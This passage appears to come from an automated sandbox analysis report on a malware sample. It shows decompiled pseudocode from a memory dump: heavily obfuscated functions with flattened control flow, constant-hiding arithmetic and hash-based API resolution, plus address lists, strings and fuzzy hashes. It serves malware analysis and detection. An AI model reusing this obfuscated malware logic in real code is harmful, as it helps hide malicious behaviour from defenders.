										if(_t225 != 0x4fb10bf) {
											goto L14;
										} else {
											_t225 = 0x4a0fd12;
											continue;
										}
									}
								}
							}
							goto L15;
						}
						_t221 = _v72;
						_t210 = _v48;
						E00FA715A(_v48, _v72, _v20, _v24,  *(_t224 + 0x20));
						_t228 =  &(_t228[3]);
						_t225 = 0x69342d1;
						_t201 = 0x273cd46;
						L14:
						__eflags = _t225 - 0x69342d1;
					} while (__eflags != 0);
					L15:
					return _t201;
				}
			}

0x00fc261e
0x00fc2621
0x00fc2626
0x00fc262b
0x00fc2633
0x00fc263b
0x00fc264b
0x00fc264d
0x00fc2653
0x00fc2658
0x00fc265d
0x00fc2663
0x00fc266b
0x00fc2673
0x00fc267b
0x00fc2683
0x00fc268b
0x00fc2698
0x00fc2699
0x00fc26a2
0x00fc26a6
0x00fc26ae
0x00fc26bb
0x00fc26bf
0x00fc26c9
0x00fc26cd
0x00fc26d5
0x00fc26dd
0x00fc26e5
0x00fc26ed
0x00fc26f5
0x00fc26fd
0x00fc2705
0x00fc270d
0x00fc2715
0x00fc271d
0x00fc2725
0x00fc272a
0x00fc272f
0x00fc2733
0x00fc273b
0x00fc2743
0x00fc274b
0x00fc2753
0x00fc275b
0x00fc2763
0x00fc2771
0x00fc2775
0x00fc277d
0x00fc278a
0x00fc278e
0x00fc2793
0x00fc279b
0x00fc27a3
0x00fc27ab
0x00fc27b0
0x00fc27b8
0x00fc27c0
0x00fc27c8
0x00fc27d0
0x00fc27dd
0x00fc27e1
0x00fc27e9
0x00fc27f1
0x00fc27f9
0x00fc2803
0x00fc2810
0x00fc281f
0x00fc2820
0x00fc2824
0x00fc282c
0x00fc2834
0x00fc283c
0x00fc2844
0x00fc284e
0x00fc2852
0x00fc285a
0x00fc2862
0x00fc286a
0x00fc286f
0x00fc2874
0x00fc287c
0x00fc2884
0x00fc2891
0x00fc2895
0x00fc289a
0x00fc28a2
0x00fc28aa
0x00fc28ae
0x00fc28b0
0x00fc28b4
0x00fc28bc
0x00fc28c4
0x00fc28cc
0x00fc28d4
0x00fc28d4
0x00fc28d4
0x00fc28d9
0x00000000
0x00fc28d9
0x00fc28e3
0x00fc29a6
0x00fc29ab
0x00fc29ae
0x00fc29b1
0x00fc29b3
0x00fc29b5
0x00000000
0x00fc29b5
0x00fc28e9
0x00fc28ef
0x00fc2966
0x00fc296a
0x00fc296d
0x00fc2972
0x00fc2975
0x00fc2978
0x00fc297c
0x00fc2981
0x00000000
0x00fc28f1
0x00fc28f7
0x00fc290c
0x00fc2917
0x00fc291c
0x00fc2921
0x00fc2923
0x00fc2934
0x00fc2939
0x00fc293c
0x00fc2940
0x00fc2944
0x00fc2948
0x00fc294c
0x00fc2951
0x00fc2954
0x00fc28d4
0x00fc28d4
0x00fc28d4
0x00000000
0x00fc28d4
0x00fc28d4
0x00fc28f9
0x00fc28ff
0x00000000
0x00fc2905
0x00fc2905
0x00000000
0x00fc2905
0x00fc28ff
0x00fc28f7
0x00fc28ef
0x00000000
0x00fc28e3
0x00fc29c7
0x00fc29cb
0x00fc29cf
0x00fc29d4
0x00fc29d7
0x00fc29dc
0x00fc29e1
0x00fc29e1
0x00fc29e1
0x00fc29f4
0x00fc29f4
0x00fc29f4

Strings

0<, xrefs: 00FC26ED
NX:, xrefs: 00FC272A
|s, xrefs: 00FC27B0
'2, xrefs: 00FC26D5
XmFv, xrefs: 00FC27E1
NX:, xrefs: 00FC26CD
)d, xrefs: 00FC27F9
33V, xrefs: 00FC28BC
NX:, xrefs: 00FC26B6, 00FC26C4
sk, xrefs: 00FC26DD

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: NX:$'2$)d$33V$NX:$NX:$XmFv$sk$|s$0<
API String ID: 0-1033120914
Opcode ID: c66df243eabc7492443ccb5f148c515d8560aadb12e8f1bf7cacab16cef1ff61
Instruction ID: 3ba854a15cac08fc6d21f7776116c590c165b8b71c4974b945c7642da362ee91
Opcode Fuzzy Hash: c66df243eabc7492443ccb5f148c515d8560aadb12e8f1bf7cacab16cef1ff61
Instruction Fuzzy Hash: F1A131718083829FC358CF25C98690BFBE1FBD4758F105A1DF59696260D3B5DA489F83

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1591, Relevance: 11.9, Strings: 9, Instructions: 624
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00FB1591(intOrPtr __ecx, intOrPtr* __edx) {
				char _v128;
				char _v256;
				char _v288;
				intOrPtr _v292;
				intOrPtr* _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				signed int _v476;
				signed int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				intOrPtr _v500;
				signed int _v504;
				signed int _v508;
				unsigned int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _t610;
				signed int _t662;
				signed int _t668;
				void* _t669;
				intOrPtr _t677;
				void* _t687;
				intOrPtr* _t689;
				signed int _t694;
				intOrPtr _t697;
				int _t700;
				intOrPtr _t704;
				intOrPtr _t711;
				signed int _t712;
				signed int _t713;
				intOrPtr _t714;
				intOrPtr* _t720;
				signed int _t741;
				void* _t780;
				void* _t787;
				void* _t794;
				void* _t795;
				void* _t796;
				signed int _t798;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				intOrPtr _t813;
				void* _t814;
				void* _t817;
				void* _t821;
				signed int _t823;
				intOrPtr _t824;
				signed int* _t825;
				void* _t829;

				_t825 =  &_v560;
				_v296 = __edx;
				_v500 = __ecx;
				_v308 = 0x34a367;
				_v308 = _v308 >> 0x10;
				_t610 = 0x34;
				_v308 = _v308 ^ _t610;
				_t817 = 0xea2f645;
				_v544 = 0xb8bac1;
				_v544 = _v544 << 0xa;
				_v544 = _v544 + 0xdd4e;
				_v544 = _v544 | 0x419410b7;
				_v544 = _v544 ^ 0xe3f195cc;
				_v324 = 0x787f17;
				_v324 = _v324 + 0xffffba2f;
				_v324 = _v324 ^ 0x007da03d;
				_v380 = 0x7ae48a;
				_v380 = _v380 + 0xc297;
				_v380 = _v380 ^ 0x00775dd8;
				_v504 = 0xe211d8;
				_push("true");
				_pop(_t712);
				_v504 = _v504 * 0x73;
				_v504 = _v504 + 0x796b;
				_v504 = _v504 << 7;
				_v504 = _v504 ^ 0xc7330412;
				_v452 = 0xdce441;
				_v452 = _v452 + 0xffffe6d5;
				_v452 = _v452 / _t712;
				_v452 = _v452 ^ 0x000328d8;
				_v316 = 0x2bb0df;
				_t802 = 0x48;
				_v316 = _v316 * 0x36;
				_v316 = _v316 ^ 0x0939efeb;
				_v356 = 0xcad995;
				_v356 = _v356 * 0x55;
				_v356 = _v356 ^ 0x43500611;
				_v436 = 0xa94819;
				_v436 = _v436 / _t802;
				_v436 = _v436 << 0xa;
				_v436 = _v436 ^ 0x096cc0d5;
				_v404 = 0xcd31f2;
				_v404 = _v404 >> 9;
				_v404 = _v404 / _t712;
				_v404 = _v404 ^ 0x0006c8f5;
				_v348 = 0x543f35;
				_v348 = _v348 ^ 0x72886b43;
				_v348 = _v348 ^ 0x72d10eb7;
				_v536 = 0x1951a2;
				_t803 = 0x6f;
				_v536 = _v536 / _t803;
				_v536 = _v536 << 2;
				_v536 = _v536 ^ 0x5e9308a1;
				_v536 = _v536 ^ 0x5e95c1b7;
				_v420 = 0x5bda6e;
				_v420 = _v420 + 0xbe40;
				_v420 = _v420 * 0x29;
				_v420 = _v420 ^ 0x0ed93f0e;
				_v372 = 0xbac8fa;
				_v372 = _v372 ^ 0x6eee89e1;
				_v372 = _v372 ^ 0x6e5995b3;
				_v444 = 0x831612;
				_v444 = _v444 + 0xffff13c8;
				_v444 = _v444 + 0xffff4520;
				_v444 = _v444 ^ 0x0089c369;
				_v364 = 0x1eb95;
				_t823 = 0x78;
				_v364 = _v364 / _t823;
				_v364 = _v364 ^ 0x000f7d8c;
				_v388 = 0x78cb3e;
				_t804 = 0x68;
				_v388 = _v388 / _t804;
				_v388 = _v388 ^ 0x000e12a4;
				_v472 = 0xfe8b39;
				_v472 = _v472 ^ 0x4a79d81a;
				_v472 = _v472 | 0x4684679d;
				_v472 = _v472 ^ 0xb86bdad5;
				_v472 = _v472 ^ 0xf6e974af;
				_v508 = 0xf7b85e;
				_v508 = _v508 + 0xffff1a7c;
				_v508 = _v508 >> 8;
				_v508 = _v508 ^ 0x91f47709;
				_v508 = _v508 ^ 0x91fdf719;
				_v360 = 0xb3ef91;
				_v360 = _v360 << 1;
				_v360 = _v360 ^ 0x016ac8eb;
				_v516 = 0xc83176;
				_v516 = _v516 >> 3;
				_v516 = _v516 << 7;
				_t805 = 0x60;
				_v516 = _v516 / _t805;
				_v516 = _v516 ^ 0x00216802;
				_v524 = 0x99d0bf;
				_t713 = 0x2e;
				_v524 = _v524 / _t713;
				_v524 = _v524 | 0x32ed1f8e;
				_v524 = _v524 << 8;
				_v524 = _v524 ^ 0xef580268;
				_v520 = 0xec019;
				_v520 = _v520 << 7;
				_v520 = _v520 >> 8;
				_v520 = _v520 + 0xffff3d31;
				_v520 = _v520 ^ 0x000f9caf;
				_v428 = 0x847880;
				_v428 = _v428 ^ 0x2d8b13d9;
				_v428 = _v428 + 0x571a;
				_v428 = _v428 ^ 0x2d08cc52;
				_v412 = 0x94859;
				_v412 = _v412 << 0xa;
				_v412 = _v412 >> 0xa;
				_v412 = _v412 ^ 0x0001710a;
				_v300 = 0x507a00;
				_v300 = _v300 ^ 0x479f05f7;
				_v300 = _v300 ^ 0x47c7f35c;
				_v480 = 0x5775fb;
				_v480 = _v480 | 0x3774da5c;
				_v480 = _v480 + 0xffff1fad;
				_v480 = _v480 << 4;
				_v480 = _v480 ^ 0x777d225e;
				_v456 = 0xf57b23;
				_v456 = _v456 >> 0xf;
				_v456 = _v456 ^ 0xca18f90f;
				_v456 = _v456 ^ 0xca1daf67;
				_v460 = 0x7bc476;
				_v460 = _v460 >> 9;
				_v460 = _v460 >> 0xc;
				_v460 = _v460 ^ 0x000f4177;
				_v396 = 0x39e094;
				_v396 = _v396 >> 5;
				_v396 = _v396 << 0xd;
				_v396 = _v396 ^ 0x39e28150;
				_v488 = 0x70552;
				_v488 = _v488 << 0xa;
				_v488 = _v488 ^ 0x8d9a573e;
				_v488 = _v488 + 0xffffa6c3;
				_v488 = _v488 ^ 0x91806b88;
				_v448 = 0x8da13a;
				_v448 = _v448 << 0xa;
				_t806 = 0x16;
				_v448 = _v448 * 0x5f;
				_v448 = _v448 ^ 0x3b51015c;
				_v512 = 0xddb448;
				_v512 = _v512 << 9;
				_v512 = _v512 >> 0xe;
				_v512 = _v512 >> 8;
				_v512 = _v512 ^ 0x000fce2e;
				_v548 = 0xc52d6d;
				_v548 = _v548 ^ 0x08838af8;
				_v548 = _v548 << 5;
				_v548 = _v548 / _t823;
				_v548 = _v548 ^ 0x00188708;
				_v552 = 0x8ecc4c;
				_v552 = _v552 / _t806;
				_v552 = _v552 * 0xe;
				_v552 = _v552 << 0xc;
				_v552 = _v552 ^ 0xadfad4dc;
				_v340 = 0x57b067;
				_v340 = _v340 * 0x41;
				_v340 = _v340 ^ 0x164d2235;
				_v556 = 0x43c70a;
				_v556 = _v556 ^ 0x7f907696;
				_v556 = _v556 | 0xbacc01dc;
				_v556 = _v556 + 0xffff5123;
				_v556 = _v556 ^ 0xffd9e2b4;
				_v376 = 0x7b30da;
				_v376 = _v376 + 0x200b;
				_v376 = _v376 ^ 0x0072d724;
				_v440 = 0x67eef8;
				_v440 = _v440 >> 0xe;
				_v440 = _v440 + 0x5160;
				_v440 = _v440 ^ 0x000fcbf1;
				_v384 = 0x368c0f;
				_v384 = _v384 / _t713;
				_v384 = _v384 ^ 0x0007162a;
				_v332 = 0xf7e74f;
				_v332 = _v332 + 0xb023;
				_v332 = _v332 ^ 0x00fabd9f;
				_v304 = 0xa5764c;
				_v304 = _v304 + 0xffff6f82;
				_v304 = _v304 ^ 0x00aa90b6;
				_v464 = 0x7a1571;
				_v464 = _v464 << 8;
				_v464 = _v464 + 0xd5fa;
				_v464 = _v464 ^ 0x7a16e9d6;
				_v432 = 0x65ae54;
				_v432 = _v432 | 0xf549fffc;
				_v432 = _v432 ^ 0xf56ac653;
				_v368 = 0x9cc546;
				_v368 = _v368 << 0xe;
				_v368 = _v368 ^ 0x31533563;
				_v532 = 0xbb333f;
				_t807 = 0x34;
				_v532 = _v532 / _t807;
				_v532 = _v532 + 0xfffff079;
				_v532 = _v532 + 0x8871;
				_v532 = _v532 ^ 0x000afd0d;
				_v540 = 0xad9ffb;
				_v540 = _v540 + 0x1d27;
				_v540 = _v540 + 0xffffe294;
				_v540 = _v540 >> 2;
				_v540 = _v540 ^ 0x0027e576;
				_v496 = 0xee481f;
				_t808 = 0x33;
				_v496 = _v496 * 0x16;
				_t809 = 0x6b;
				_v496 = _v496 / _t808;
				_v496 = _v496 + 0xffff904f;
				_v496 = _v496 ^ 0x00673c1b;
				_v528 = 0x7b550f;
				_v528 = _v528 >> 5;
				_v528 = _v528 | 0x82d55b10;
				_v528 = _v528 << 1;
				_v528 = _v528 ^ 0x05a590f6;
				_v312 = 0x355af7;
				_v312 = _v312 << 0xa;
				_v312 = _v312 ^ 0xd568e6b4;
				_v416 = 0x50c1da;
				_v416 = _v416 + 0xffff3e63;
				_v416 = _v416 << 7;
				_v416 = _v416 ^ 0x2808c0da;
				_v352 = 0x788565;
				_v352 = _v352 << 0xb;
				_v352 = _v352 ^ 0xc42c8c91;
				_v424 = 0x444211;
				_v424 = _v424 ^ 0x494f7f50;
				_v424 = _v424 + 0xffff1346;
				_v424 = _v424 ^ 0x49031dbd;
				_v492 = 0xa142e8;
				_v492 = _v492 / _t809;
				_t810 = 0x14;
				_v492 = _v492 / _t810;
				_t811 = 0x21;
				_v492 = _v492 * 0x18;
				_v492 = _v492 ^ 0x00042e76;
				_v336 = 0xd9ae2c;
				_v336 = _v336 | 0x39c0196c;
				_v336 = _v336 ^ 0x39d2ae46;
				_v344 = 0x2d620e;
				_v344 = _v344 * 0x32;
				_v344 = _v344 ^ 0x08d7e910;
				_v400 = 0xcb12f4;
				_v400 = _v400 >> 0x10;
				_v400 = _v400 + 0xffff3b1e;
				_v400 = _v400 ^ 0xfffe3ac8;
				_v408 = 0x96e27b;
				_v408 = _v408 | 0xfd2a95fa;
				_v408 = _v408 << 9;
				_v408 = _v408 ^ 0x7de6200f;
				_v392 = 0xd8cfb0;
				_v392 = _v392 * 0x1b;
				_t714 = _v296;
				_v392 = _v392 / _t811;
				_v392 = _v392 ^ 0x00b38f79;
				_v328 = 0x749801;
				_v328 = _v328 | 0x8fe0b18f;
				_v328 = _v328 ^ 0x8ffad11a;
				_v476 = 0x8564d4;
				_v476 = _v476 << 0xa;
				_t483 =  &_v476; // 0xa
				_t812 = 0x7a;
				_t824 = _v296;
				_v476 =  *_t483 / _t812;
				_t490 =  &_v476; // 0xa
				_t813 = _v296;
				_v476 =  *_t490 * 0x26;
				_v476 = _v476 ^ 0x06b05b0a;
				_v484 = 0xd8d973;
				_v484 = _v484 << 6;
				_v484 = _v484 | 0xfddb9f7b;
				_v484 = _v484 ^ 0xfff3c4d3;
				_v320 = 0xfbd867;
				_v320 = _v320 >> 5;
				_v320 = _v320 ^ 0x000f339c;
				_v468 = 0xc51dfd;
				_v468 = _v468 << 8;
				_v468 = _v468 >> 7;
				_v468 = _v468 ^ 0x4728b7d1;
				_v468 = _v468 ^ 0x46a9f958;
				while(1) {
					L1:
					while(1) {
						_t829 = _t817 - 0x815e78c;
						if(_t829 <= 0) {
						}
						L3:
						if(_t829 == 0) {
							E00FC2C81(_v496,  *_t720, _v528, _t714, _v312,  *((intOrPtr*)(_t720 + 4)));
							_t720 = _v500;
							_t825 =  &(_t825[4]);
							_t668 = _v560;
							_t817 = 0xca82f1;
							_t714 = _t714 +  *((intOrPtr*)(_t720 + 4));
							L14:
							_t780 = 0x99540a6;
							continue;
							do {
								while(1) {
									_t829 = _t817 - 0x815e78c;
									if(_t829 <= 0) {
									}
									goto L19;
								}
								goto L3;
								L31:
								__eflags = _t817 - 0xec6b752;
							} while (_t817 != 0xec6b752);
							L32:
							return _v560;
						}
						if(_t817 == 0x3da101) {
							E00FAAE43(_t668, _v320, _v468);
							return 0;
						}
						if(_t817 == 0xca82f1) {
							_push(_v492);
							_push(_v424);
							_push(_v352);
							_t687 = E00FB3CC9(_v336, __eflags,  &_v256, _v292 - _t714, _v344, E00FA387F(_v416, 0xfa15fc), _v400, _v408);
							E00FB629F(_v392, _t683, _v328, _v476, _v484);
							_t689 = _v296;
							 *_t689 = _t824;
							 *((intOrPtr*)(_t689 + 4)) = _t714 + _t687 - _t824;
							goto L32;
						}
						if(_t817 == 0x1162a32) {
							_t821 =  &_v256;
							_push(_t720);
							_push(0x10);
							_t794 = 8;
							_t795 = E00FA2C02(_t794);
							_t694 = _v308;
							_pop(0);
							__eflags = _t694 - _t795;
							if(_t694 < _t795) {
								_t798 = _t795 - _t694;
								_t814 = _t821;
								_t741 = _t798 >> 1;
								__eflags = _t741;
								_t700 = memset(_t814, 0x2d002d, _t741 << 2);
								asm("adc ecx, ecx");
								_t821 = _t821 + _t798 * 2;
								memset(_t814 + _t741, _t700, 0);
								_t825 =  &(_t825[6]);
							}
							_push(0);
							_push(0x10);
							_t796 = 8;
							_t697 = E00FA2C02(_t796);
							_push(_v472);
							_t813 = _t697;
							_push(_t821);
							_push(0xb);
							_push(_v388);
							E00FA4A97(_t813, _v364);
							_t817 = 0x89cda0d;
							L11:
							_t825 =  &(_t825[6]);
							L12:
							_t668 = _v560;
							L13:
							_t720 = _v500;
							goto L14;
						}
						if(_t817 == 0x1fa8b82) {
							__eflags = 1;
							_push(_t720);
							_t704 = E00FA2C02(1, 8);
							_push(_v452);
							_t813 = _t704;
							_push( &_v288);
							_push(9);
							_push(_v504);
							E00FA4A97(_t813, _v380);
							_t817 = 0xbf850a1;
							goto L11;
						}
						if(_t817 != 0x3d03c9c) {
							goto L31;
						}
						_t813 = _t813 +  *((intOrPtr*)(_t720 + 4));
						_push(_t720);
						_push(_t720);
						_t711 = E00FB5212(_t813);
						_t720 = _v500;
						_t824 = _t711;
						_t825 =  &(_t825[3]);
						_t780 = 0x99540a6;
						_t817 =  !=  ? 0x99540a6 : 0x3da101;
						goto L1;
						L19:
						__eflags = _t817 - 0x89cda0d;
						if(_t817 == 0x89cda0d) {
							_t813 = 0x4000;
							_push(0x4000);
							_push(0x4000);
							_t662 = E00FB5212(0x4000);
							_t825 =  &(_t825[3]);
							_v560 = _t662;
							__eflags = _t662;
							if(_t662 == 0) {
								_t720 = _v500;
								_t817 = 0xec6b752;
								_t780 = 0x99540a6;
								goto L31;
							}
							_t817 = 0xb90b7dd;
							goto L13;
						}
						__eflags = _t817 - _t780;
						if(_t817 == _t780) {
							_push(_v556);
							_push(_v340);
							_v292 = _t813 + _t824;
							_push(_v552);
							_t570 =  &_v548; // 0x27e576
							_t714 = E00FB360D( &_v288, __eflags,  &_v128, _v376, _v440, _v384,  &_v256, _t824, _v332, _v304, E00FA387F( *_t570, 0xfa16ec), _v464) + _t824;
							E00FB629F(_v432, _t663, _v368, _v532, _v540);
							_t825 =  &(_t825[0x10]);
							_t817 = 0x815e78c;
							goto L12;
						}
						__eflags = _t817 - 0xb90b7dd;
						if(__eflags == 0) {
							_push(_v412);
							_push(_v428);
							_t669 = E00FBCD35(0xfa16ac, _v520, __eflags);
							_push( &_v256);
							_push(_t669);
							_push(_t813);
							_push(_v560);
							 *((intOrPtr*)(E00FA7DE3(_t727, 0xa92f64b6, 0x185)))();
							E00FB629F(_v300, _t669, _v480, _v456, _v460);
							_t825 =  &(_t825[7]);
							_t817 = 0x3d03c9c;
							goto L12;
						}
						__eflags = _t817 - 0xbf850a1;
						if(_t817 == 0xbf850a1) {
							_push(_t720);
							_push(0x10);
							_t787 = 4;
							_t677 = E00FA2C02(_t787);
							_push(_v348);
							_t813 = _t677;
							_push( &_v128);
							_push(0xb);
							_push(_v404);
							E00FA4A97(_t813, _v436);
							_t817 = 0x1162a32;
							goto L11;
						}
						__eflags = _t817 - 0xea2f645;
						if(_t817 != 0xea2f645) {
							goto L31;
						}
						_t817 = 0x1fa8b82;
					}
				}
			}

0x00fb1591
0x00fb159b
0x00fb15a2
0x00fb15a6
0x00fb15b1
0x00fb15bb
0x00fb15bc
0x00fb15c3
0x00fb15c8
0x00fb15d0
0x00fb15d5
0x00fb15dd
0x00fb15e5
0x00fb15ed
0x00fb15f8
0x00fb1603
0x00fb160e
0x00fb1619
0x00fb1624
0x00fb162f
0x00fb163e
0x00fb1640
0x00fb1643
0x00fb1647
0x00fb164f
0x00fb1654
0x00fb165c
0x00fb1667
0x00fb167d
0x00fb1684
0x00fb168f
0x00fb16a2
0x00fb16a5
0x00fb16ac
0x00fb16b7
0x00fb16ca
0x00fb16d1
0x00fb16dc
0x00fb16f2
0x00fb16f9
0x00fb1701
0x00fb170c
0x00fb1717
0x00fb172a
0x00fb1731
0x00fb173c
0x00fb1747
0x00fb1752
0x00fb175d
0x00fb1769
0x00fb176c
0x00fb1770
0x00fb1775
0x00fb177d
0x00fb1785
0x00fb1790
0x00fb17a3
0x00fb17aa
0x00fb17b5
0x00fb17c0
0x00fb17cd
0x00fb17d8
0x00fb17e3
0x00fb17ee
0x00fb17f9
0x00fb1804
0x00fb1818
0x00fb181d
0x00fb1826
0x00fb1831
0x00fb1843
0x00fb1848
0x00fb1851
0x00fb185c
0x00fb1864
0x00fb186c
0x00fb1874
0x00fb187c
0x00fb1884
0x00fb188c
0x00fb1894
0x00fb1899
0x00fb18a1
0x00fb18a9
0x00fb18b4
0x00fb18bb
0x00fb18c6
0x00fb18ce
0x00fb18d3
0x00fb18dc
0x00fb18e1
0x00fb18e7
0x00fb18ef
0x00fb18fb
0x00fb18fe
0x00fb1902
0x00fb190a
0x00fb190f
0x00fb1917
0x00fb191f
0x00fb1924
0x00fb1929
0x00fb1931
0x00fb1939
0x00fb1944
0x00fb194f
0x00fb195a
0x00fb1965
0x00fb1970
0x00fb1978
0x00fb1980
0x00fb198b
0x00fb1996
0x00fb19a1
0x00fb19ac
0x00fb19b4
0x00fb19bc
0x00fb19c4
0x00fb19c9
0x00fb19d1
0x00fb19d9
0x00fb19de
0x00fb19e6
0x00fb19ee
0x00fb19f6
0x00fb19fd
0x00fb1a02
0x00fb1a0a
0x00fb1a15
0x00fb1a1d
0x00fb1a25
0x00fb1a30
0x00fb1a38
0x00fb1a3d
0x00fb1a45
0x00fb1a4d
0x00fb1a55
0x00fb1a60
0x00fb1a72
0x00fb1a73
0x00fb1a7a
0x00fb1a85
0x00fb1a8d
0x00fb1a92
0x00fb1a97
0x00fb1a9c
0x00fb1aa4
0x00fb1aac
0x00fb1ab4
0x00fb1ac1
0x00fb1ac5
0x00fb1acd
0x00fb1add
0x00fb1ae6
0x00fb1aea
0x00fb1aef
0x00fb1af7
0x00fb1b0a
0x00fb1b11
0x00fb1b1c
0x00fb1b24
0x00fb1b2c
0x00fb1b34
0x00fb1b3c
0x00fb1b44
0x00fb1b4f
0x00fb1b5a
0x00fb1b65
0x00fb1b70
0x00fb1b78
0x00fb1b83
0x00fb1b8e
0x00fb1ba2
0x00fb1ba9
0x00fb1bb4
0x00fb1bbf
0x00fb1bca
0x00fb1bd5
0x00fb1be0
0x00fb1beb
0x00fb1bf6
0x00fb1bfe
0x00fb1c03
0x00fb1c0b
0x00fb1c13
0x00fb1c1e
0x00fb1c29
0x00fb1c34
0x00fb1c3f
0x00fb1c47
0x00fb1c52
0x00fb1c60
0x00fb1c67
0x00fb1c6d
0x00fb1c75
0x00fb1c7d
0x00fb1c85
0x00fb1c8d
0x00fb1c95
0x00fb1c9d
0x00fb1ca2
0x00fb1caa
0x00fb1cb7
0x00fb1cba
0x00fb1cc4
0x00fb1cc5
0x00fb1ccb
0x00fb1cd3
0x00fb1cdb
0x00fb1ce3
0x00fb1ce8
0x00fb1cf0
0x00fb1cf4
0x00fb1cfc
0x00fb1d07
0x00fb1d0f
0x00fb1d1a
0x00fb1d25
0x00fb1d30
0x00fb1d38
0x00fb1d43
0x00fb1d4e
0x00fb1d56
0x00fb1d61
0x00fb1d6c
0x00fb1d77
0x00fb1d82
0x00fb1d8d
0x00fb1d9d
0x00fb1da7
0x00fb1dac
0x00fb1db5
0x00fb1db6
0x00fb1dba
0x00fb1dc2
0x00fb1dcd
0x00fb1dd8
0x00fb1de3
0x00fb1df6
0x00fb1dfd
0x00fb1e08
0x00fb1e13
0x00fb1e1b
0x00fb1e26
0x00fb1e31
0x00fb1e3c
0x00fb1e47
0x00fb1e4f
0x00fb1e5a
0x00fb1e6f
0x00fb1e81
0x00fb1e88
0x00fb1e8f
0x00fb1e9a
0x00fb1ea5
0x00fb1eb0
0x00fb1ebb
0x00fb1ec3
0x00fb1ec8
0x00fb1ece
0x00fb1ed1
0x00fb1edd
0x00fb1ee1
0x00fb1ee6
0x00fb1eed
0x00fb1ef1
0x00fb1ef9
0x00fb1f01
0x00fb1f06
0x00fb1f0e
0x00fb1f16
0x00fb1f21
0x00fb1f29
0x00fb1f34
0x00fb1f3c
0x00fb1f41
0x00fb1f46
0x00fb1f4e
0x00fb1f56
0x00fb1f56
0x00fb1f5a
0x00fb1f5a
0x00fb1f60
0x00fb1f60
0x00fb1f66
0x00fb1f66
0x00fb20d0
0x00fb20d5
0x00fb20d9
0x00fb20dc
0x00fb20e0
0x00fb20e5
0x00fb202d
0x00fb202d
0x00fb2032
0x00fb1f5a
0x00fb1f5a
0x00fb1f5a
0x00fb1f60
0x00fb1f60
0x00000000
0x00fb1f60
0x00000000
0x00fb22c4
0x00fb22c4
0x00fb22c4
0x00fb22d0
0x00000000
0x00fb22d0
0x00fb1f72
0x00fb2382
0x00000000
0x00fb2388
0x00fb1f7e
0x00fb22df
0x00fb22e8
0x00fb22ef
0x00fb2335
0x00fb235a
0x00fb235f
0x00fb236b
0x00fb236d
0x00000000
0x00fb236d
0x00fb1f8a
0x00fb203e
0x00fb2049
0x00fb204a
0x00fb204e
0x00fb2054
0x00fb2056
0x00fb205e
0x00fb205f
0x00fb2061
0x00fb2063
0x00fb2065
0x00fb206e
0x00fb206e
0x00fb2070
0x00fb2072
0x00fb2074
0x00fb2077
0x00fb2077
0x00fb2077
0x00fb2088
0x00fb2089
0x00fb208d
0x00fb208e
0x00fb2093
0x00fb2097
0x00fb2099
0x00fb209a
0x00fb209c
0x00fb20ac
0x00fb20b1
0x00fb2022
0x00fb2022
0x00fb2025
0x00fb2025
0x00fb2029
0x00fb2029
0x00000000
0x00fb2029
0x00fb1f96
0x00fb1fef
0x00fb1ff0
0x00fb1ff3
0x00fb1ff8
0x00fb1fff
0x00fb2008
0x00fb2009
0x00fb200b
0x00fb2018
0x00fb201d
0x00000000
0x00fb201d
0x00fb1f9e
0x00000000
0x00000000
0x00fb1faf
0x00fb1fbd
0x00fb1fbe
0x00fb1fc0
0x00fb1fc5
0x00fb1fc9
0x00fb1fcb
0x00fb1fd5
0x00fb1fda
0x00000000
0x00fb20ed
0x00fb20ed
0x00fb20f3
0x00fb228c
0x00fb2299
0x00fb229a
0x00fb229c
0x00fb22a1
0x00fb22a4
0x00fb22a8
0x00fb22aa
0x00fb22b6
0x00fb22ba
0x00fb22bf
0x00000000
0x00fb22bf
0x00fb22ac
0x00000000
0x00fb22ac
0x00fb20f9
0x00fb20fb
0x00fb21e0
0x00fb21ec
0x00fb21f3
0x00fb21fa
0x00fb21fe
0x00fb225c
0x00fb226d
0x00fb2272
0x00fb2275
0x00000000
0x00fb2275
0x00fb2101
0x00fb2107
0x00fb2172
0x00fb217e
0x00fb2189
0x00fb219e
0x00fb21a3
0x00fb21a4
0x00fb21a5
0x00fb21b1
0x00fb21ce
0x00fb21d3
0x00fb21d6
0x00000000
0x00fb21d6
0x00fb2109
0x00fb210f
0x00fb2135
0x00fb2136
0x00fb213a
0x00fb213b
0x00fb2140
0x00fb2147
0x00fb2150
0x00fb2151
0x00fb2153
0x00fb2163
0x00fb2168
0x00000000
0x00fb2168
0x00fb2111
0x00fb2117
0x00000000
0x00000000
0x00fb211d
0x00fb211d
0x00fb1f5a

Strings

9, xrefs: 00FB16AC
YH, xrefs: 00FB1965
`Q, xrefs: 00FB1B78
ky, xrefs: 00FB1647
c5S1, xrefs: 00FB1C47
v', xrefs: 00FB2045
^"}w, xrefs: 00FB1EC8, 00FB1EE1
^"}w, xrefs: 00FB19C9
5?T, xrefs: 00FB173C

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

